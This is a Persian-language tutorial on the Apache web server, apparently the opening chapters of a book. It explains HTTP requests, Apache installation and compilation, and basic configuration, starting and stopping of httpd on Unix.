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كه در ميان كارگزاران وب بيشترين استفاده را در اينترنـت دارد و   ي است كارگزار وب  (Apache)آپاچي  

 بر نحوه كـار كارگزارهـاي وب و          اي در اين فصل مقدمه   . كند مينقش كليدي در زيرساخت اينترنت بازي       
  .، خواهد آمداين كه چرا ممكن است كارگزار آپاچي را انتخاب كنيد

  

  كند؟ مي هر وب چكارگزا 1-1
يا اجـراي يـك      به نام فايل و سپس فرستادن آن  روي اينترنت            URLترجمه  وظيفه اصلي كارگزار وب     

  . برنامه و سپس فرستادن خروجي آن است
متصل  com.thliesbutter.www://http/كنيد و به يك آدرس مانند    ميمرورگر خود را اجرا     كه   ميهنگا

  .فرستيد ميشويد، در واقع درخواستي به كارگزار وب آن  مي
URL  مخففUniform Resource Locatorيك .  استURL مانند /com.butterthlies.www://http 

  :سه بخش استشامل 
<scheme>://<host>/<path> 

اسـت و    httpروش اتـصال     يـا    <scheme>بنابراين در مثال مـا      . بان و مسير  ، ميز )اتصاليا روش   (پروتكل  
ميزبـان  .  اسـتفاده كنـد  HTTP (Hypertext Transfer Protocol)بدين معني است كـه مرورگـر بايـد از    

www.hutterthlies.com      بالاترين صفحه ميزبان اسـت     است كه معمولا     /  است و مسير. <host>   ممكـن 
 مرورگـر ممكـن اسـت درخواسـت زيـر را بـه       HTTP 1.1با استفاده از .  يا نام ميزبان باشدIPرس آداست 

  :بفرستدميزبان 
GET / HTTP/1.1 
Host: www.butterthlies.com 

  www.hutterthlies.comروي ميزبـان    ) HTTPفـرض     درگـاه پـيش    (80درخواست به درگـاه شـماره       
 است ولـي    GET كه در اينجا     )URL نه متد    HTTPمتد  ( متد   يك:  پيام رسيده چهار بخش دارد     .رسد مي
نـسخه  ،  /  (1URI) باشـد؛ شناسـه انحـصاري منبـع          CONNECT يـا    PUT  ،POST  ،DELETEتواند   مي

اكنون نوبت كارگزار وب است     .  است Hostپروتكل مورد استفاده؛ و يك سري سرآيند كه در اينجا سرآيند            
  . دهد به آن پاسخ درخواستكه بر مبناي اين

  معيارهاي انتخاب يك كارگزار وب 1-1- 1
  :ما از يك كارگزار وب چه انتظارهايي داريم؟ اين كارگزار بايد

  .با حداقل سخت افزار به بيشترين درخواستها جواب دهد. سريع اجرا شود •

                                                 
1 Uniform Resource Indicator 
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  .تا بتواند در آن واحد به بيش از يك درخواست پاسخ دهد. از چندبرنامگي پشتيباني كند •
  . كند2شناسي تدرخواستها را هوي •
براي مثال در صورت نيافتن فايل، كد برگشتي        . به خطاهاي موجود به طرز مناسبي واكنش نشان دهد         •

  . را بفرستد404
  .سبك پاسخ و زبان آن را با درخواست كننده مذاكره كند •
 را بـه    درخواستها را از كارفرما گرفته و احتمالا آنها       يك پراكسي   . بتواند به عنوان يك پراكسي كار كند       •

  .فرستد مييك كارگزار ديگر 
 . امن باشد •

  چرا آپاچي؟ 1-2
ايـن نـه   . دو برابر بيشتر وبگاههاي دنيا را تسخير كـرده اسـت  ،  تمايكروسافآپاچي از رقيب بعدي خود      
امكان ارزيابي آن را بـه      است كه   بودن آن نيز    متن باز    به علت    باشد بلكه  ميفقط به خاطر رايگان بودن آن       

  . قابل اطمينان تر استبه همين علت نيز بسيار . دهد ميهر كس 
توانيد تنها يك صفحه شخصي      مي. در هر اندازه اي قابل استفاده است      به هر صورت و     آپاچي به راحتي    

روي وب سـرويس  توانيد فايلهاي ايـستا      ميبا آپاچي    .يك وبگاه با ميليونها بازديدكننده با آن برپا سازيد        يا  
  . فارشي برنامه هاي ديگر استفاده كنيد سهاي خروجياز دهيد يا 

 كرده و مطـابق ميـل خـود آن را    بار گذاريتواند متن آن را   مييك كاربر علاقمند    . آپاچي رايگان است  
بسته نرم افزاري به عنـوان كـارگزار وب          75در حدود   . نتيجه مزاياي فراوان آپاچي واضح است     . تغيير دهد 
  .شـود  مياندازه گيري   Netcraft (www.netcraft.com)ماهيانه توسط ميزان استفاده از آنها . وجود دارند

را آپـاچي  فعـال   وبگاههـاي نزديـك دو سـوم از    نشان داد  2002 جولاي  اندازه گيري انجام شده در  ماه
  . دهند ميتشكيل 

  Netcraft توسط  2002 در جولاي آمار سايتهاي فعال. 1- 1جدول 

 درصد June 2002  درصد  May 2002  توليد كننده

Apache 10411000 65.11 10964734 64.42 
Microsoft 4121697 25.78 4243719 24.93 

iPlanet 247051 1.55 281681 1.66 

Zeus 214498 1.34 227857 1.34 

                                                 
2 Authenticate 



  9    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

  كند؟ ميآپاچي چگونه كار  1-3
تـاب مثالهـا    در ايـن ك   . شـود  ميآپاچي برنامه است كه تحت اكثر سيستم عاملهاي چند برنامه اي اجرا             

  .باشد ميبيشتر در محيط لينوكس 
تمركـز بـر    بـا  httpdهر كپي از . شود مياست و معمولا در پس زمينه اجرا  httpdبرنامه اجرايي آپاچي  

يـك وبگـاه در آپـاچي داراي زيـر     . شـود  مـي  است، اجرا 4 وبگاه يك شاخه    در واقع منظورمان از    3يك وبگاه 
  :شاخه هاي زير است

conf  
در اين كتاب به ايـن فايـل بـا نـام            .  است httpd.confلهاي پيكربندي كه مهمترين آنها      شامل فاي   

  .ممكن است ارجاع كنيم) Config fileيا  (فايل پيكربندي
htdocs  

ايـن شـاخه و شـاخه هـاي         .  سرويس داده شوند   5 است كه بايد به كارفرما     HTMLفايلهاي  شامل    
  .تواند قرار بگيرد ميتيار هر كس كه در وب باشد دهند كه در اخ مي را تشكيل فضاي وبتحتاني 
logs  
  .باشد مي) دسترسي ها و خطاها(شامل اطلاعات رويدادنگاري   

cgi-bin  
 كـه روي     هـستند  6اينها برنامه هاي اجرايي يا اسكريپتهاي پوسته      .  است CGIشامل اسكريپتهاي     

از لحاظ امنيتـي بـسيار مهـم    . شوند ميا ميزبان وب براي پاسخ دادن به برخي از درخواستهاي كارفرما اجر         
  . نباشند)تر  و پايينhtdocs/ … در اينجا ( است كه اين شاخه در فضاي وب 

  
 مـشخص شـده در فايـل پيكربنـدي     IP هاي آدرسآپاچي كاري جز گوش دادن به      بيكاري    وضعيت در

سـپس از   . كنـد  مـي ليـل    آن را تح   سرآيندهايپس از ورود يك درخواست، آپاچي آن را گرفته و           . كند مين
  . كند ميقواعد موجود در فايل پيكربندي براي انجام عمل مناسب براي پاسخ دهي به درخواست استفاده 

يـا   (ديركتيـو   200راهبـر وب حـدود   . شود مي از طريق فايل پيكربندي انجام 7كنترل اصلي راهبر وب
 در اختيار دارد كه هنگام بالا آمدن آپـاچي      راهبر وب تعدادي گزينه نيز    . دارددر اختيار   ) دستور پيكربندي 

  .تواند از آنها استفاده نمايد مي

                                                 
3 Web site 
4 Directory 
5 Client 
6 Shell scripts 
7 Webmaster 
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  كند؟ مي كار HTTPچگونه كارفرماي  1-4
 درخواسـت وي از  .تواند درخواست خود را بـه وي بفرسـتد       ميشود، كارفرما    ميبرپا  كه كارگزار    ميهنگا

نمايـانگر سرويـسي اسـت كـه وي         شود و    ميشروع   :httpشود كه معمولا با      مي فرستاده   URLطريق يك   
  : به صورت زير استURLادامه . خواهان آن است

//<user>:<password>@<host>:<port>/<url-path> 

  
  : چنين آمده استRFC 1738در 

و  ،  "<user>:<password>@" ، ":<password>"بخش يا تمام بخـشهاي  يك 
"/<url-path>"    د كـه داده بـا      كن ـ مياين روش مشخص    .  ممكن است حذف شوند

  .نحو معمول اينترنت استمطابق شود كه  مي شروع "//"
  

كارفرمـا سـپس بـا يـك     .  اسـتفاده نمايـد  HTTPبرد كه بايد از پروتكـل    مي پي   :httpبا ديدن    رمرورگ
ميزبـان  يـك روش بـراي بررسـي اعتبـار نـام            . پرسـد    ميزبان را مـي    IP تماس گرفته و آدرس      8كارگزار نام 

  : در سيستم عامل استpingاستفاده از دستور 
ping www.apache.org 

  :اگر آن ميزبان در اينترنت باشد، مشابه اين پاسخ خواهد داد
Pinging www.apache.org [63.251.56.142] with 32 bytes of data: 
 
Reply from 63.251.56.142: bytes=32 time=278ms TTL=49 
Reply from 63.251.56.142: bytes=32 time=620ms TTL=49 
Reply from 63.251.56.142: bytes=32 time=285ms TTL=49 
Reply from 63.251.56.142: bytes=32 time=290ms TTL=49 
 
Ping statistics for 63.251.56.142: 

 
URL در صورتي كـه شـماره درگـاه مـشخص          . تواند شماره درگاه را نيز به طور دقيق مشخص كند          مي

 8000به درگاه شـماره       /http://www.apache.org:8000 براي مثال    . است 80ش فرض   نباشد، به طور پي   
  . شود ميميزبان متصل 

URL     اگر ايـن هـم مـشخص نـشده باشـد،           . باشد/ مسير است، حتي اگر فقط يك        هميشه همراه يك
  . كند ميفرض / فرض مسير را  كارگزار به طور پيش

                                                 
8 Name server 
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 برقرار كرده و    IP 204.152.144.38 روي آدرس    8000ماره   به درگاه ش   TCPاكنون كارفرما يك اتصال     
  )كند مي استفاده HTTP 1.0اگر از (فرستد  ميپيام زير را از طريق اين اتصال 

 
GET /some/where/foo.html HTTP/1.0<CR><LF><CR><LF> 

 

گـر  ا. كننـد  مـي  را از بدنـه آن جـدا   HTTPبسيار مهـم هـستند زيـرا سـرآيند          LF9 و   CRهاي    نويسه 
كـارگزار پاسـخي در مقابـل       . هـايي نيـز بـه دنبـال آن خواهـد فرسـتاد               باشد، داده  POSTدرخواست يك   

اين عمل به اينترنت متصل شده و در خط فرمان اين دسـتور را              براي ديدن   . بندد ميفرستد و اتصال را      مي
  :وارد كنيد

% telnet www.apache.org 80 
 
> telnet www.apache.org 80 
GET http://www.apache.org/foundation/contact.html HTTP/1.1 
Host: www.apache.org 

 
آنچه را كه شـما تايـپ     telnetبرخي از پياده سازي هاي . در پاسخ بايد متني شبيه به متن زير ببينيد 

  :به هر حال كل پاسخ مشابه زير خواهد بود. دهند ميكنيد را نشان ن مي
Trying 64.125.133.20... 
Connected to www.apache.org. 
Escape character is '^]'. 
HTTP/1.1 200 OK 
Date: Mon, 25 Feb 2002 15:03:19 GMT 
Server: Apache/2.0.32 (Unix) 
Cache-Control: max-age=86400 
Expires: Tue, 26 Feb 2002 15:03:19 GMT 
Accept-Ranges: bytes 
Content-Length: 4946 
Content-Type: text/html 
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
               "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html> 
 <head> 
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" 
/> 
      <title>Contact Information--The Apache Software Foundation</title> 
 </head> 
 <body bgcolor="#ffffff" text="#000000" link="#525D76">         
  <table border="0" width="100%" cellspacing="0"> 
   <tr><!-- SITE BANNER AND PROJECT IMAGE --> 

                                                 
9 Carriage return and Line feed  



  12    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

    <td align="left" valign="top"> 
<a href="http://www.apache.org/"><img src="../images/asf_logo_wide.gif" 
alt="The  
Apache Software Foundation" align="left" border="0"/></a> 
</td> 
   </tr> 
  </table> 
  <table border="0" width="100%" cellspacing="4"> 
   <tr><td colspan="2"><hr noshade="noshade" size="1"/></td></tr> 
   <tr> 
    <!-- LEFT SIDE NAVIGATION --> 
    <td valign="top" nowrap="nowrap"> 
           <p><b><a href="/foundation/projects.html">Apache 
Projects</a></b></p> 
    <menu compact="compact"> 
          <li><a href="http://httpd.apache.org/">HTTP Server</a></li> 
          <li><a href="http://apr.apache.org/">APR</a></li> 
          <li><a href="http://jakarta.apache.org/">Jakarta</a></li> 
          <li><a href="http://perl.apache.org/">Perl</a></li> 
          <li><a href="http://php.apache.org/">PHP</a></li> 
          <li><a href="http://tcl.apache.org/">TCL</a></li> 
          <li><a href="http://xml.apache.org/">XML</a></li> 
          <li><a href="/foundation/conferences.html">Conferences</a></li> 
          <li><a href="/foundation/">Foundation</a></li> 
        </menu> 

......  

  

  نصب آپاچي 1-5
بارگذاري فايل اجرايي مناسب و يا بارگذاري متن اصلي و          : دو روش اصلي براي نصب آپاچي وجود دارد       

  .كمپايل كردن آن

  2 كردن آپاچي كمپايل 1- 5- 1
 كاملا متفاوت است و بهتر اسـت روش سـاخت نـسخه هـاي قبلـي را                  2روش ساخت آپاچي در نسخه      

-httpdدر اينجـا مـا فايـل    . وجـود نـدارد   src/ …اخه ش ـبر خلاف نسخه هاي قبلي ديگـر  . فراموش كنيد

2_0_40.tar.gz           را بارگذاري كرده و آن را در شـاخه/usr/src/apache     در ابتـدا بايـد فايـل       .  بـاز كـرديم
INSTALL  افـزاري شـده      خيلي شبيه ديگر ابزارها و بسته هاي نرم        روش ساخت آپاچي اكنون      . را بخوانيد

  .است
  : زير بسازيد دستوربقفايل پيكربندي را مطا

./configure  --prefix=/usr/local 
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  :ها دستور زير را وارد كنيد تمام گزينهبراي مشاهده 
./configure --help | more 

  :دستور زير را وارد كنيدسپس 
make 

  :سپس. كشد تا اجرا شود ميكه مدت زيادي طول 
make install 

  . استusr/local/sbin/ در شاخه httpdاكنون نتيجه فايل اجرايي 
  



 

  
  
  
  
  
  
  
  

  
  

:  پيكربندي آپاچي:فصل دوم 2
  گامهاي اوليه
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براي گـام   .  دراختيار داريد  apache/httpd گفته شد، شما اكنون يك       1بعد از نصب آپاچي كه در فصل        
  .كنيم ميبعدي يك وبگاه نمونه ايجاد 

  پشت پرده يك وبگاه آپاچي 2-1
از نگـاه آپـاچي يـك وبگـاه يـك شـاخه             .  وبگـاه آپـاچي بينـدازيم      ابتدا بهتر است نگاهي به پشت پرده      

(directory) در يــك جــايي روي كــارگزار مــثلا /usr/www/APACHE3/site.for_instanceايــن .  اســت
  :شاخه حداقل چهار زير شاخه دارد، كه سه تاي اول اساسي هستند

conf  
گويـد كـه چگونـه بـه      مـي چي اسـت  و بـه آپـا     httpd.confشامل فايل پيكربنـدي كـه معمـولا      

  .درخواستهاي مختلف پاسخ دهد
htdocs  

  .خواهيد به كاربرانتان سرويس دهيد ميشامل مستندات، شكلها، داده و هر آنچه كه   
logs  

  . استerror_logشامل فايلهاي رويداد است كه مهمترين آنها فايل   
cgi-bin  
  .كنيد نيازي به اين شاخه نداريد ميه ناگر از اسكريپتها استفاد.  استCGIشامل اسكريپتهاي   

  .رود ميشود كه براي اجرا كردن آپاچي به كار  ميدر نصب استاندارد فايلي نيز به شاخه سايت كپي 

  اجراي آپاچي از خط فرمان 1-1- 2
، به يك گزينه براي معرفي محل آن به آپاچي نياز           باشدن در محل پيش فرض خود        confزيرشاخه  اگر  
  :داريد

httpd -d /usr/www/APACHE3/site.for_instance -f... 

كنـيم بـه     ميدر حين نصب ممكن پرسشهاي متعددي براي شما پيش بيايد كه در فصلهاي بعد سعي                
  .گيرد ميدر اينجا فقط نصب ساده آپاچي مورد بحث قرار . آنها پاسخ دهيم

httpd  تونيد با اجراي  مياين اطلاعات را (گيرد  مي گزينه هاي زير راhttpd –h بگيريد (  
-Usage: httpd.20 [-D name] [-d directory] [-f file] 
                [-C "directive"] [-c "directive"] 
                [-v] [-V] [-h] [-l] [-L] [-t] [-T] 
Options: 
  -D name           : define a name for use in <IfDefine name> directives 
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  -d directory      : specify an alternate initial ServerRoot 
  -f file           : specify an alternate ServerConfigFile 
  -C "directive"    : process directive before reading config files 
  -c "directive"    : process directive after  reading config files 
  -v                : show version number 
  -V                : show compile settings 
  -h                : list available command line options (this page) 
  -l                : list compiled in modules 
  -L                : list available configuration directives 
  -t -D DUMP_VHOSTS : show parsed settings (currently only vhost 
settings) 
  -t                : run syntax check for config files (with docroot 
check) 
  -T                : run syntax check for config files (without docroot 
check)  

 

تـوان بـا     مـي كنند كـه     مي گزينه هايي اضافه     هاي جديدتر    به تدريج در نسخه    چي معمولا البته گروه آپا  
  . از آنها مطلع شد?- httpdاجراي 

2-2 site.todle  
براي عملي شدن گامهاي توصيه شـده،       . توان با آپاچي انجام داد     ميبدون داشتن يك وبگاه كار زيادي ن      

از . توان بارگـذاري كنيـد     ميه كه از وبگاه كتاب       ايجاد شد  usr/www/APACHE3/site.toddle/زيرشاخه  
و /..  را در جــاي ديگــري ايجــاد كنيــد، ايــن مــسير را بــا site.todleآنجــا كــه ممكــن اســت زيــر شــاخه 

../site.todle دهيم مي نشان.  
در فايـل   . htdocs و   conf  ،logs:  سه زيرشاخه كه آپاچي انتظـار دارد ايجـاد شـده اسـت             site.todle/..در  

READMEشاخه ريشه آپاچي چنين گفته شده :  
  

The next step is to edit the configuration files for the server. In the 
subdirectory called conf you should find distribution versions of the three 
configuration files: srm.conf-dist, access.conf-dist, and httpd.conf-dist 

  
، آپاچي اين فايلهـا را      NCSA بوده، به عنوان يك ميراث از كارگزار         NCSA آپاچي، كارگزار    پدراز آنجا كه    

 قرار داده و دو فايل ديگر را httpd.conf را در فايل  اپيكربنديهشود كه همه     ميولي قويا توصيه    . پذيريد مي
  .ددر اين صورت كار كردن و مديريت آن آسانتر خواهد ش. حذف كنيد

توصـيه  . هايي براي ويرايش اين فايلها است كه فعلا به آنهـا كـاري نـداريم               حاوي توصيه  READMEفايل  
  .فعلي اين است كه آپاچي را بدون هيچ پيكربندي اجرا كرده و ببينيد كه چه چيزي احتياج دارد
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  فايل پيكربندي
نكـاتي چنـد دربـاره فلـسفه فايـل          قبل از آن كه آپاچي را بدون هر گونـه پيكربنـدي اجـرا نماييـد، بايـد                   

آپاچي به طور پيش فرض با يك فايل حجيم پيكربندي همراه است كه در آن هر آنچـه                  . پيكربندي بدانيد 
اگر شـما يـك تـازه كـار هـستيد،           . كه يك كاربر ممكن است براي پيكربندي نياز داشته باشد، آمده است           

بنابراين بسيار بهتر خواهد بود اگر با يك فايل         ! بود بخشهاي اين فايل براي شما بي معنا خواهد          زبسياري ا 
  . شروع كنيد و به آن مواردي را كه نياز داريد اضافه كنيدپيكربندي كوچك

  

  برپا كردن كارگزار 2-3
 site.toddleدقت كنيـد كـه مـسير كامـل          ( معرفي كرد    httpd  وبگاه مورد نظر را به        d–توان با گزينه     مي

  .)وت باشدممكن است در ماشين شما متفا
% httpd -d /usr/www/APACHE3/site.toddle 

  
اين فايـل   . دهيم مي قرار   goاز آنجا كه اين كار را مكرر انجام خواهيم داد آن را درون يك اسكريپت به نام                  

  :دهيم مي قرار  usr/local/bin/را در شاخه 
  

% cat > /usr/local/bin/go 

test -d logs || mkdir logs 

httpd -f 'pwd'/conf/httpd$1.conf -d 'pwd' 

^d 

  
^d   نشاندهنده Ctrl-D        فايل .گردد ميكند و به اعلان سيستم بر  مي است كه انتهاي ورودي را مشخص go  

كنـد و بـه      مي را در صورتي كه وجود نداشته باشد، ايجاد          logsاين فايل شاخه    . كند ميبراي هر وبگاه كار     
مـشخص  ) f–بـا گزينـه     (و مـسير فايـل پيكربنـدي        ) d–ا گزينـه    ب (ServerRootطور صريح مسير شاخه     

 بـسيار مهـم    (back-tick)  `هـاي   نويسه. كند ميرا مشخص ) جاري( شاخه فعلي 'pwd'دستور . نمايد مي
 1$علامـت   .   در اسكريپت استفاده كرد     pwdتوان از خروجي دستور       ها مي   با استفاده از اين نويسه    : هستند

  فايـل پيكربنـدي   go 2/.بنـابراين دسـتور   . كنـد  مـي شود را كپي   داده ميgo دستور آرگومان اولي كه به
httpd2.conf   را اجرا خواهد نمود و./go بدون آرگومان httpd.conf را اجرا خواهد كرد.  

اگر اين  اسكريپت از جاي ديگري اجرا شود، آپـاچي           . به خاطر داشته باشيد كه بايد در شاخه وبگاه باشيد         
  :يغام خطا را خواهد داداين پ

'could not open document config file ...'. 
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اسـكريپت را اجرايـي كـرده و آن را اجـرا            زيـر   باشيد، دسـتور     site.toddle/.با فرض اين كه در شاخه       

  :نماييد
% chmod +x go 
% go 

  
  :اگر پيام خطاي زير را دريافت كرديد

go: command not found 

  :ر زير را وارد نماييدآنگاه بايد دستو
% ./go 

  
توانيـد از دسـتور      مـي براي مطمئن شدن از اجراي آن       . زمينه اجرا خواهد كرد     اين دستور آپاچي را در پس     

  :زير استفاده نماييد
% ps -aux 

  
.  مـشاهده نماييـد   httpdsكند، كه در ميان آنها بايد       ميهاي در حال اجرا را ليست         اين دستور تمام پردازه   

توانيد   نياز داريد كه مي(PID) آن كه بعدا بتوانيد آپاچي را متوقف نماييد به شماره شناسه پردازه آن              براي
  : آن را مشخص نماييدps –auxبا دستور 

 
USER      PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND 
root      701  0.0  0.8   396  240  v0  R+    2:49PM   0:00.00 ps -aux 
root        1  0.0  0.9   420  260  ??  Is    8:13AM   0:00.02 /sbin/init 
-- 
root        2  0.0  0.0     0    0  ??  DL    8:13AM   0:00.04  
(pagedaemon) 
root        3  0.0  0.0     0    0  ??  DL    8:13AM   0:00.00  
(vmdaemon) 
root        4  0.0  0.0     0    0  ??  DL    8:13AM   0:02.24  (syncer) 
root       35  0.0  0.3   204   84  ??  Is    8:13AM   0:00.00 adjkerntz 
-i 
root       98  0.0  1.8   820  524  ??  Is    7:13AM   0:00.43 syslogd 
daemon    107  0.0  1.3   820  384  ??  Is    7:13AM   0:00.00 
/usr/sbin/portma 
root      139  0.0  2.1   888  604  ??  Is    7:13AM   0:00.07 inetd 
root      142  0.0  2.0   980  592  ??  Ss    7:13AM   0:00.27 cron 
root      146  0.0  3.2  1304  936  ??  Is    7:13AM   0:00.25 sendmail: 
accept 
root      209  0.0  1.0   500  296 con- I     7:13AM   0:00.02 /bin/sh 
/usr/loc 
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root      238  0.0  5.8 10996 1676 con- I     7:13AM   0:00.09 
/usr/local/libex 
root      239  0.0  1.1   460  316  v0  Is    7:13AM   0:00.09 -csh (csh) 
root      240  0.0  1.2   460  336  v1  Is    7:13AM   0:00.07 -csh (csh) 
root      241  0.0  1.2   460  336  v2  Is    7:13AM   0:00.07 -csh (csh) 
root      251  0.0  1.7  1052  484  v0  S     7:14AM   0:00.32 bash 
root      576  0.0  1.8  1048  508  v1  I     2:18PM   0:00.07 bash 
root      618  0.0  1.7  1040  500  v2  I     2:22PM   0:00.04 bash 
root      627  0.0  2.2   992  632  v2  I+    2:22PM   0:00.02 mince 
demo_test 
root      630  0.0  2.2   992  636  v1  I+    2:23PM   0:00.06 mince home 
root      694  0.0  6.7  2548 1968  ??  Ss    2:47PM   0:00.03 httpd -d 
/u 
webuser   695  0.0  7.0  2548 2044  ??  I     2:47PM   0:00.00 httpd -d 
/u 
webuser   696  0.0  7.0  2548 2044  ??  I     2:47PM   0:00.00 httpd -d 
/u 
webuser   697  0.0  7.0  2548 2044  ??  I     2:47PM   0:00.00 httpd -d 
/u 
webuser   698  0.0  7.0  2548 2044  ??  I     2:47PM   0:00.00 httpd -d 
/u 
webuser   699  0.0  7.0  2548 2044  ??  I     2:47PM   0:00.00 httpd -d 
/u 

 

 پردازه اصلي آپـاچي     PIDبراي اين كار    .  استفاده نماييد  killتوانيد از دستور     ميبراي متوقف كردن آپاچي     
  : است را مشخص نماييد694كه در اينجا 

% kill 694 

 

  : خروجي را فيلتر نماييدgrepتوانيد با دستور  مي خيلي بزرگ بود ps –auxاگر خروجي 
  

% ps awlx | grep httpd 

 

  :توانيد تنها اين دستور را اجرا نماييد ميكس به راحتي در لينو
% killall httpd 

  
فــرض در فايــل   خــود را بــه طــور پــيشPIDاز آن جــا كــه آپــاچي .راه ديگــر و بهتــري نيــز وجــود دارد

../logs/httpd.pid پيكربندي   ديركتيو  كه با   ( نمايد    ثبت مي PidFile   توانيـد يـك     مـي و  )  قابل تغيير است
  :ساده مانند زير بنويسيداسكريپت 

 

kill 'cat /usr/www/APACHE3/site.toddle/logs/httpd.pid' 
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  : بنويسيدstopتر مانند زير به نام  شايد ترجيح دهيد كه يك اسكريپت كلي
 

pwd | read path 
kill 'cat $path/logs/httpd.pid' 

 

بـراي   src/support/apachect1/...ز  خواهيد از پيكربندي هاي مختلف استفاده نماييد، ا         يا اگر نمي  
  :هاي آن عبارتند از  گزينه.استفاده نماييدفرض خودش  اجرا يا متوقف كردن آپاچي در شاخه پيش

 

usage: ./apachectl 
(start|stop|restart|fullstatus|status|graceful|configtest|help) 

  
start  

  httpdاجراي   
stop  

  httpdتوقف اجراي   
restasrt  
  . و يا اجراي آن در صورت عدم اجراSIGHUP با فرستادن سيگنال  httpdاجراي مجدد   

fullstatus  
  .دارد mod_status و نيز فعال بودن lynxنمايش كامل وضعيت در صفحه؛ نياز به برنامه   

status  
  .دارد mod_status و نيز فعال بودن lynxنمايش خلاصه وضعيت در صفحه؛ نياز به برنامه   

graceful  
 و يـا اجـراي آن در   SIGUSR1با فرسـتادن سـيگنال   ) به صورت محطاطانه( httpdاجراي مجدد     

  .صورت عدم اجرا
configtest  

  بررسي نحو فايل پيكربندي   
help 

  )ها راهنمايي درباره گزينه(همين صفحه  
  

كه به   ميه است، ولي هنگا    را اجرا كرديم، به نظر رسيد كه هيچ اتفاق خاصي نيفتاد           go/.كه دستور    ميهنگا
  :حاوي خط زير است error_logنگاهي انداختيم، متوجه شديم كه فايل  logsشاخه 
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[<date>]:'mod_unique_id: unable to get hostbyname ("myname.my.domain") 

 

دهـد كـه روي يـك     مـي ايـن اتفـاق روي    ميدر اينجا اين مشكل به علت نحوه اجراي آپاچي است و هنگـا      
ويرايش كرده و خط زير را بـه آن  را   etc/hosts/راه حل آن است كه فايل       .  اجرا نماييد  DNSيزبان بدون   م

  :اضافه نماييد
 

10.0.0.2 myname.my.domain myname 

  
  . آزمايشي ميزبان استIP آدرس 10.0.0.2كه 

  :يمخور مي به خطاي زير برhttpd بعد از اجراي ،البته هنوز مساله باقي است
 

[<date>]--couldn't determine user name from uid 

 

 rootبه علت رعايت امنيت، آپاچي كـه در ابتـدا بـا كـاربر               .  وارد سيستم شده بوديم    rootدر اينجا با كاربر     
 بـراي بـاز     rootشروع با سطح كـاربري      . دهد   تغيير مي  1-كند، شناسه كاربري خود را به        ميشروع به اجرا    
  .  است nobodyهاي يونيكس متعلق به كاربر   در اكثر سيستم1-شناسه كاربري .  است80كردن گذرگاه 

  

2 -3-1 webuser و webgroup  
مهـم   مياسا.  تعلق دارد ايجاد كنيم    webgroup را كه به گروه      webuserچاره كار آن است كه كاربر جديد        

يگـري مـورد اسـتفاده    مهم آن است كه كاربر به گروه خود تعلق داشته باشد و توسط هيچ كس د          . نيستند
 تغيير دهيد تـا نتـوان بـا ايـن كـاربر بـه               bin/false/ مربوط به اين كاربر را به        shellبهتر است   . قرار نگيرد 

  :را مطابق زير تغيير دهيد httpd.confحال . سيستم وارد شد
User webuser 
Group webgroup 
 

بـه درخواسـتها پاسـخ خواهـد داد را      كـه كـارگزار تحـت آن    (User ID) شناسه كـاربري  User ديركتيو 
  . كند ميمشخص 

User unix-userid 
Default: User #-1 
Server config, virtual host 

 

يكـي از مقـادير      unix-userid. اجرا كـرد   root، ابتدا بايد كارگزار را به عنوان        ديركتيوبراي استفاده از اين     
  :گيرد ميزير را 
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username   
  .كند ميم مشخص كاربر مورد نظر را نا

#usernumber   
  .كند مي مشخص (ID)كاربر مورد نظر را با شماره   

  

 خـود را بـه كـاربر        ي سـطح كـاربر    توانـد  ي نم د،ي اجرا كن  root ري را با كاربر غ    ياگر آپاچ 
 بـه كـار خـود ادامـه         هي ـ با همـان كـاربر اول      ني كاهش دهد، بنابرا   Userمشخص شده با    

  .دهد يم
  

  
 مقدار دهي نكنيد، مگر آنكه مخاطرات اين        rootرا به   ) Groupيا   (Userهرگز ديركتيو     

  !كنيد  بشناسيد و بدانيد كه چه ميكار را واقعاً
  

 كه كارگزار تحت آن بـه درخواسـتها پاسـخ خواهـد داد را     (Group ID) شناسه كاربري Group ديركتيو 
  . كند ميمشخص 

Group unix-groupid 

Default: Group #-1 

Server config, virtual host 

 

يكي از مقادير    unix-groupid. اجرا كرد  root، ابتدا بايد كارگزار را به عنوان        ديركتيو  براي استفاده از اين     
  :گيرد ميزير را 

groupname   
  .كند ميگروه مورد نظر را نام مشخص 

#groupnumber   
  .كند مي  مشخص(ID)گروه مورد نظر را با شماره   

  

تواند سطح گروه خود را به گروه مـشخص شـده بـا               اجرا كنيد، نمي   rootاگر آپاچي را با كاربر غير       : نكته
Group دهد كاهش دهد، بنابراين با همان گروه اوليه به كار خود ادامه مي .  

  

  برخي مشكلات متفرقه 3-2- 2
اگر با اسـكريپت  . شوند مياردهي ناگر خودتان آپاچي را كمپايل كنيد برخي از پيش فرضها به درستي مقد            
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./goبخواهيد اجرا كنيد، با برخي خطاها مانند زير مواجه خواهيد شد :  
  

fopen: No such file or directory 
httpd: could not open error log file  
<path to site.toddle>site.toddle/var/httpd/log/error_log 

 

  : اضافه كنيدconf/httpd.conf…بايد خط زير را به 
ErrorLog logs/error_log 

  
  : مواجه خواهيد شدlogs/error_log/…پس از آن با اجرا كردن آپاچي با پيام زير در 

.... No such file or directory.: could not open mime types log file <path 
to site.toddle>/site.toddle/etc/httpd/mime.types 
 

  : اضافه كنيدconf/httpd.conf…ر را به كه بايد خط زي
TypesConfig conf/mime.types 

 

  : مواجه خواهيد شدlogs/error_log/…پس از آن با اجرا كردن آپاچي با پيام زير در 
fopen: no such file or directory 
httpd: could not log pid to file <path to 
site.toddle>/site.toddle/var/httpd/run/httpd.pid 

 

  : اضافه كنيدconf/httpd.conf…كه بايد خط زير را به 
PIDFile logs/httpd.pid 

  

  Unixاجراي آپاچي تحت  3-3- 2
  :اكنون اگر آپاچي را اجرا كنيد ممكن است با پيام خطاي زير مواجه شويد

PIDFile logs/httpd.pid 

  
  : اضافه كنيدconf/httpd.conf…كه بايد خط زير را به 

ServerName <yourmachinename> 

 

شـاخه  . اي كه مستندات وبگاه مورد نظ قرار دارد را بايـد مـشخص كنيـد                در نهايت قبل از هر كاري شاخه      
حـاوي   txt.1 را ايجاد كـرده و فايـل         site.toddle/htdocs/…شاخه  . httpd/htdocs/…پيش فرض آپاچي      

